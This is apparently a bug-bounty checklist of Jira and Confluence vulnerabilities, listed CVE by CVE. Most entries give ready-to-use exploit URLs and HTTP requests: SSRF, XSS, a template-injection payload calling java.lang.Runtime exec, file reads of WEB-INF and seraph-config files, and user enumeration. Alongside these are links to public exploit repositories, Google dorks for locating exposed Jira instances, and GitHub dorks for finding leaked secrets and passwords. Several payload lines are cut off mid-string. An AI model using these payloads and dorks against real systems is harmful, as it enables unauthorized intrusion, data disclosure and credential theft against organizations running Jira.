🚨Jira Vulnerability Checklist🚨

[ ] jirascan

```
https://github.com/netspooky/jLoot
https://github.com/0x48piraj/Jiraffe
https://github.com/bcoles/jira_scan
https://github.com/MayankPandey01/Jira-Lens
nuclie template
```

[ ] cve-2017-9506 (ssrf)

```
Navigate to <JIRA_URL>/plugins/servlet/oauth/users/icon-url?consumerUri=<ssrf payload>
```

[ ] cve-2018-20824 (xss)

```
Navigate to <JIRA_URL>/plugins/servlet/Wallboard/?dashboardId=10000&dashboardId=10000&cyclePeriod
```

[ ] cve-2019-8451 (ssrf)

```
Navigate to <JIRA_URL>/plugins/servlet/gadgets/makeRequest?url=https://<host_name>:1337@example.c
```

[ ] cve-2019-8449 (user info disclosure)

```
Navigate to <JIRA_URL>/rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=true
```

[ ] cve-2019-8442 (sen info disc)

```
Navigate to <JIRA_URL>/s/thiscanbeanythingyouwant/_/META-INF/ maven/com.atlassian.jira/atlassian-
Observe that the pom.xml file is accessible.
```

[ ] cve-2019-3403 (username enum)

```
Navigate to <Jira_URL>/rest/api/2/user/ picker?query=<user_name_here>
Observe the difference in response when valid vs. invalid user is queried.
```

[ ] cve-2019-3402 (xss)

```
Navigate to <JIRA_URL>/secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%
Observe that the payload is getting executed.
```

[ ] cve-2019-3396 (path traversal, rce)

```
1. Try Below POST Request with the JIRA Target
2. POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: {{Hostname}}
Accept: */*
Accept-Language: en-US,en;q=0.5 User-Agent: Mozilla/5.0 (X11; Linux x86_ 64; rv:60.0) Gecko/20100
Content-Length: 168
Connection: close <give an enter and remove this comment>
{"contentId":"786457","macro":{" name":"widget","body":"","params":{"url":" https://www.viddler.c
```

[ ] cve-2019-11581 (template inj)

```
Navigate to <JIRA_URL>/secure/ContactAdministrators!default.jspa
Try SSTI payload in subject and/or body:
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec
```

[ ] cve-2020-14179 (info disclosure)

```
Navigate to <JIRA_URL>/secure/QueryComponent!Default.jspa
It leaks information about custom fields, custom SLA, etc.
```

[ ] cve-2020-14178 (project key enumeration)

```
Navigate to <JIRA_URL>/browse.<project_ key>
Observe the error message on valid vs. invalid project key. Apart from the Enumeration, you can o
```

[ ] cve-2020-14181 (user enumeration)

```
Navigate to <JIRA_URL>/secure/ ViewUserHover.jspa?username=<username>
Observe the response when valid vs. invalid username is provided.
```

[ ] CVE-2022-26135 (Full-Read Server Side Request Forgery in Mobile Plugin for Jira Data Center and Server)

```
https://github.com/assetnote/jira-mobile-ssrf-exploit
```

The following HTTP request can be used to reproduce this issue, once authenticated to the Jira instance:

```
POST /rest/nativemobile/1.0/batch HTTP/2
Host: issues.example.com
Cookie: JSESSIONID=44C6A24A15A1128CE78586A0FA1B1662; seraph.rememberme.cookie=818752%3Acc12c66e2f
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko
Content-Type: application/json
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Origin: https://issues.example.com
Referer: https://issues.example.com/plugins/servlet/desk
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Length: 63
```

```
{"requests":[{"method":"GET","location":"@example.com"}]}
```

[ ] Check Privileges Inside a Jira instance any user (even non-authenticated) can check its privileges in

```
/rest/api/2/mypermissions or
/rest/api/3/mypermissions
```

These endpoints will return your current privileges.If a non-authenticated user have any privilege, this is a vulnerability (bounty?).If an authenticated user have any unexpected privilege, this a a vuln.

```
#Check non-authenticated privileges
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": t
```

[ ] CVE-2017-9506 , CVE-2019-8449 , CVE-2019-11581,CVE-2019-8451

```
https://github.com/0x48piraj/Jiraffe
```

[ ] cve-2018-5230

```
https://hackerone.com/reports/380354
https://jira.atlassian.com/browse/JRASERVER-67289
HOW TO EXPLOIT: https://host/issues/?filter=-8
Go to the link above
Click the "Updated Range:" text area
Put your XSS payload in "More than [ ] minutes ago" (15 character payload limit) or in "In range
If it doesn't run chances are you used double quotes somewhere. Only use single quotes!
```

[ ] CVE-2020-29453 (Pre-Auth Limited Arbitrary File Read)

```
http://host/s/1xqVb9EKKmXG4pzui1gHeg0yrna/_/%2e/META-INF/maven/com.atlassian.jira/atlassian-jira-
if its not running redirecting to login panel then run it with curl
```

[ ] CVE-2020-36287 (Atlassian JIRA: Incorrect Authorization)

```
Affected software: Atlassian Jira Data Center, Jira Server (also tested on Jira Project Managemen
(Medium) CVSS Score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N Fully Patched Version: 8.13.5,

Link: https://site.com/secure/Dashboard.jspa
POC: https://site.com/rest/dashboards/1.0/10000/gadget/{ID}/prefs
POC: https://github.com/f4rber/CVE-2020-36287
https://www.rapid7.com/db/vulnerabilities/atlassian-jira-cve-2020-36287/
https://jira.atlassian.com/browse/JRASERVER-72258 [Anonymously accessible Dashboards can leak pri
```

[ ] CVE-2020-36289 (Atlassian Jira Unauth User Enumeration)

```
Vulnerable:
Jira < 8.5.13 8.6.0 ≤ Jira < 8.13.5 8.14.0 ≤ Jira < 8.15.1
```

```
Summary:
The remote web server hosts a web application that is affected by an information disclosure vulne

Affected endpoint:
https://example.com/secure/QueryComponentRendererValue!Default.jspa?assignee=user:admin

Description:
The instance of Atlassian Jira hosted on the remote web server is affected by an information disc
attacker can exploit this, by sending a specially crafted HTTP request, to disclose sensitive inf

References:
https://jira.atlassian.com/browse/JRASERVER-71559
http://www.nessus.org/u?b658a05a
```

[ ] CVE-2021-26084 (Confluence Server Webwork OGNL Injection)

```
https://github.com/march0s1as/CVE-2021-26084
```

[ ] CVE-2021-26086 (Atlassian Jira Server/Data Center 8.4.0 - Limited Remote File Read/Include)

```
PoC:
https://github.com/ColdFusionX/CVE-2021-26086
/_/;/WEB-INF/web.xml
/_/;/WEB-INF/decorators.xml
/_/;/WEB-INF/classes/seraph-config.xml
/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties
/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.xml
/_/;/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml
/_/;/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.properties
/_/%3B/WEB-INF/web.xml
/_/%3B/WEB-INF/decorators.xml
/_/%3B/WEB-INF/classes/seraph-config.xml
/_/%3B/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties
/_/%3B/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.xml
/_/%3B/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml
/_/%3B/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.properties


References:
https://cloudsek.com/threatintelligence/jira-software-server-cve-2021-26086-vulnerability-activel
https://github.com/ColdFusionX/CVE-2021-26086
https://raw.githubusercontent.com/crowdsecurity/sec-lists/master/web/jira_cve_2021-26086.txt
```

[ ] CVE-2022-0540 - Atlassian Jira Authentication Bypass

```
https://github.com/Pear1y/CVE-2022-0540-RCE
```

[ ] Google dork section

```
inurl:/plugins/servlet/wallboard/
(This will give all the Jira dashboard which might be vulnerable to XSS.) (Sensitive Data Exposur
https://www.exploit-db.com/ghdb/6528
This is testing for confluence(Older version) Found CVE:-2018-20824

Created dork: inurl:"/plugins/servlet/Wallboard/"
EP:/?dashboardId=10102&dashboardId=10103&cyclePeriod=(function(){alert(document.cookie);return%20
https://twitter.com/hackersden_/status/1417573513859244032
```

```
Useful Jira dorks:
inurl:"dashboard.jspa"
inurl:xyz intitle:JIRA login
site:*/JIRA/login
intitle:"Log In JIRA" inurl:"8080:/login.jsp"
intext:"Welcome to JIRA" "Powered by a free Atlassian Jira community"
inurl:companyname intitle:JIRA login
inurl:visma intitle:JIRA login
intext:"Confluence" ext:jsp intitle:"Jira"
inurl:http://confluence. login.action
inurl:https://wiki. .com/confluence/
allinurl: /confluence/login.action?
intitle:dashboard-confluence
inurl:/ContactAdministrators!default.jspa
inurl:/secure/attachment/ filetype:log OR filetype:txt
```

[ ] Github recon

```
Github recon Via github dorks to find secret:-
"site[dot]com" send_keys
"site[dot]com" client_secret
"site[dot]com" jira/root password
```

[ ]